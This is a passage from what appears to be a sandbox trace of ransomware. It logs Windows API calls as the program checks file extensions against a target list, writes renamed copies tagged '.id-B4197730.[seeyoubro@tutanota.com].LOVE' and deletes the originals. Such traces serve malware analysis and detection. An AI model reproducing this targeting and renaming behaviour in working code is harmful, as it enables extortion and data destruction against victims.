SetEndOfFile (hFile=0x33c) returned 1 [0198.170] CloseHandle (hObject=0x33c) returned 1 [0198.170] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.170] SetEndOfFile (hFile=0x318) returned 1 [0198.171] CloseHandle (hObject=0x318) returned 1 [0198.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0198.171] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0198.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.172] lstrlenW (lpString=".doc") returned 4 [0198.172] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.172] lstrlenW (lpString=".docx") returned 5 [0198.172] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0198.172] lstrlenW (lpString=".pdf") returned 4 [0198.172] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.172] lstrlenW (lpString=".xls") returned 4 [0198.172] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.172] lstrlenW (lpString=".xlsx") returned 5 [0198.172] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0198.172] lstrlenW (lpString=".ppt") returned 4 [0198.172] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.172] lstrlenW (lpString=".zip") returned 4 [0198.172] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.172] lstrlenW (lpString=".rar") returned 4 [0198.172] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.172] lstrlenW (lpString=".bz2") returned 4 [0198.172] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.172] lstrlenW (lpString=".7z") returned 3 [0198.172] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.172] lstrlenW (lpString=".dbf") returned 4 [0198.172] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.173] lstrlenW (lpString=".1cd") returned 4 [0198.173] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.173] lstrlenW (lpString=".jpg") returned 4 [0198.173] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.173] lstrlenW (lpString=".doc") returned 4 [0198.173] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString=".docx") returned 5 [0198.173] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0198.173] lstrlenW (lpString=".pdf") returned 4 [0198.173] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString=".xls") returned 4 [0198.173] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString=".xlsx") returned 5 [0198.173] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0198.173] lstrlenW (lpString=".ppt") returned 4 [0198.173] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.173] lstrlenW (lpString=".zip") returned 4 [0198.173] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.173] lstrlenW (lpString=".rar") returned 4 [0198.173] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString=".bz2") returned 4 [0198.173] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString=".7z") returned 3 [0198.173] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.173] lstrlenW (lpString=".dbf") returned 4 [0198.173] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.173] lstrlenW (lpString=".1cd") returned 4 [0198.173] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0198.174] lstrlenW (lpString=".jpg") returned 4 [0198.174] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.174] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0198.174] lstrlenW (lpString="Alphabet.xml") returned 12 [0198.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0198.310] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=791421) returned 1 [0198.310] CloseHandle (hObject=0x318) returned 1 [0198.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0198.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.311] lstrlenW (lpString=".doc") returned 4 [0198.311] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.311] lstrlenW (lpString=".docx") returned 5 [0198.311] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0198.311] lstrlenW (lpString=".pdf") returned 4 [0198.311] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.311] lstrlenW (lpString=".xls") returned 4 [0198.311] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.311] lstrlenW (lpString=".xlsx") returned 5 [0198.311] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0198.311] lstrlenW (lpString=".ppt") returned 4 [0198.311] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.311] lstrlenW (lpString=".zip") returned 4 [0198.311] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.311] lstrlenW (lpString=".rar") returned 4 [0198.311] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.311] lstrlenW (lpString=".bz2") returned 4 [0198.311] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.311] lstrlenW (lpString=".7z") returned 3 [0198.311] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.311] lstrlenW (lpString=".dbf") returned 4 [0198.311] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.311] lstrlenW (lpString=".1cd") returned 4 [0198.312] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.312] lstrlenW (lpString=".jpg") returned 4 [0198.312] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.312] lstrlenW (lpString=".doc") returned 4 [0198.312] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString=".docx") returned 5 [0198.312] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0198.312] lstrlenW (lpString=".pdf") returned 4 [0198.312] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString=".xls") returned 4 [0198.312] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString=".xlsx") returned 5 [0198.312] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0198.312] lstrlenW (lpString=".ppt") returned 4 [0198.312] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.312] lstrlenW (lpString=".zip") returned 4 [0198.312] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.312] lstrlenW (lpString=".rar") returned 4 [0198.312] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString=".bz2") returned 4 [0198.312] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString=".7z") returned 3 [0198.312] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.312] lstrlenW (lpString=".dbf") returned 4 [0198.312] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.312] lstrlenW (lpString=".1cd") returned 4 [0198.312] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0198.312] lstrlenW (lpString=".jpg") returned 4 [0198.313] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.313] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0198.313] lstrlenW (lpString="Content.xml") returned 11 [0198.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0198.433] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=27045) returned 1 [0198.433] CloseHandle (hObject=0x318) returned 1 [0198.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0198.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.439] lstrlenW (lpString=".doc") returned 4 [0198.439] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString=".docx") returned 5 [0198.439] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0198.439] lstrlenW (lpString=".pdf") returned 4 [0198.439] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString=".xls") returned 4 [0198.439] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString=".xlsx") returned 5 [0198.439] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0198.439] lstrlenW (lpString=".ppt") returned 4 [0198.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.439] lstrlenW (lpString=".zip") returned 4 [0198.439] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.439] lstrlenW (lpString=".rar") returned 4 [0198.439] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString=".bz2") returned 4 [0198.439] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString=".7z") returned 3 [0198.439] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.439] lstrlenW (lpString=".dbf") returned 4 [0198.439] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.439] lstrlenW (lpString=".1cd") returned 4 [0198.439] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.439] lstrlenW (lpString=".jpg") returned 4 [0198.439] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.439] lstrlenW (lpString=".doc") returned 4 [0198.439] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.439] lstrlenW (lpString=".docx") returned 5 [0198.439] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0198.439] lstrlenW (lpString=".pdf") returned 4 [0198.439] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.440] lstrlenW (lpString=".xls") returned 4 [0198.440] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.440] lstrlenW (lpString=".xlsx") returned 5 [0198.440] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0198.440] lstrlenW (lpString=".ppt") returned 4 [0198.440] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.440] lstrlenW (lpString=".zip") returned 4 [0198.440] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.440] lstrlenW (lpString=".rar") returned 4 [0198.440] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.440] lstrlenW (lpString=".bz2") returned 4 [0198.440] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.440] lstrlenW (lpString=".7z") returned 3 [0198.440] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.440] lstrlenW (lpString=".dbf") returned 4 [0198.440] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.440] lstrlenW (lpString=".1cd") returned 4 [0198.440] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0198.440] lstrlenW (lpString=".jpg") returned 4 [0198.440] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.440] lstrcmpiW (lpString1=".avi", lpString2=".LOVE") returned -1 [0198.440] lstrlenW (lpString="correct.avi") returned 11 [0198.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0198.544] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=180172) returned 1 [0198.544] CloseHandle (hObject=0x2f0) returned 1 [0198.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0198.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.544] lstrlenW (lpString=".doc") returned 4 [0198.544] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.544] lstrlenW (lpString=".docx") returned 5 [0198.544] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.544] lstrlenW (lpString=".pdf") returned 4 [0198.544] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.544] lstrlenW (lpString=".xls") returned 4 [0198.544] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.544] lstrlenW (lpString=".xlsx") returned 5 [0198.544] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.544] lstrlenW (lpString=".ppt") returned 4 [0198.544] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.544] lstrlenW (lpString=".zip") returned 4 [0198.544] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString=".rar") returned 4 [0198.545] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString=".bz2") returned 4 [0198.545] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString=".7z") returned 3 [0198.545] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.545] lstrlenW (lpString=".dbf") returned 4 [0198.545] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.545] lstrlenW (lpString=".1cd") returned 4 [0198.545] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.545] lstrlenW (lpString=".jpg") returned 4 [0198.545] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.545] lstrlenW (lpString=".doc") returned 4 [0198.545] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString=".docx") returned 5 [0198.545] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.545] lstrlenW (lpString=".pdf") returned 4 [0198.545] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString=".xls") returned 4 [0198.545] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString=".xlsx") returned 5 [0198.545] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.545] lstrlenW (lpString=".ppt") returned 4 [0198.545] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.545] lstrlenW (lpString=".zip") returned 4 [0198.545] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString=".rar") returned 4 [0198.545] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString=".bz2") returned 4 [0198.545] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.545] lstrlenW (lpString=".7z") returned 3 [0198.545] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.546] lstrlenW (lpString=".dbf") returned 4 [0198.546] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.546] lstrlenW (lpString=".1cd") returned 4 [0198.546] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0198.546] lstrlenW (lpString=".jpg") returned 4 [0198.546] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.546] lstrcmpiW (lpString1=".avi", lpString2=".LOVE") returned -1 [0198.546] lstrlenW (lpString="delete.avi") returned 10 [0198.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0198.546] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=208408) returned 1 [0198.546] CloseHandle (hObject=0x2f0) returned 1 [0198.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0198.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.547] lstrlenW (lpString=".doc") returned 4 [0198.547] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.547] lstrlenW (lpString=".docx") returned 5 [0198.547] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0198.547] lstrlenW (lpString=".pdf") returned 4 [0198.547] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.547] lstrlenW (lpString=".xls") returned 4 [0198.547] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.547] lstrlenW (lpString=".xlsx") returned 5 [0198.547] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0198.547] lstrlenW (lpString=".ppt") returned 4 [0198.547] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.547] lstrlenW (lpString=".zip") returned 4 [0198.547] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.547] lstrlenW (lpString=".rar") returned 4 [0198.547] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.547] lstrlenW (lpString=".bz2") returned 4 [0198.547] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.547] lstrlenW (lpString=".7z") returned 3 [0198.547] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.547] lstrlenW (lpString=".dbf") returned 4 [0198.547] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.547] lstrlenW (lpString=".1cd") returned 4 [0198.547] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.547] lstrlenW (lpString=".jpg") returned 4 [0198.547] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.547] lstrlenW (lpString=".doc") returned 4 [0198.547] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.548] lstrlenW (lpString=".docx") returned 5 [0198.548] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0198.548] lstrlenW (lpString=".pdf") returned 4 [0198.548] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.548] lstrlenW (lpString=".xls") returned 4 [0198.548] lstrcmpiW 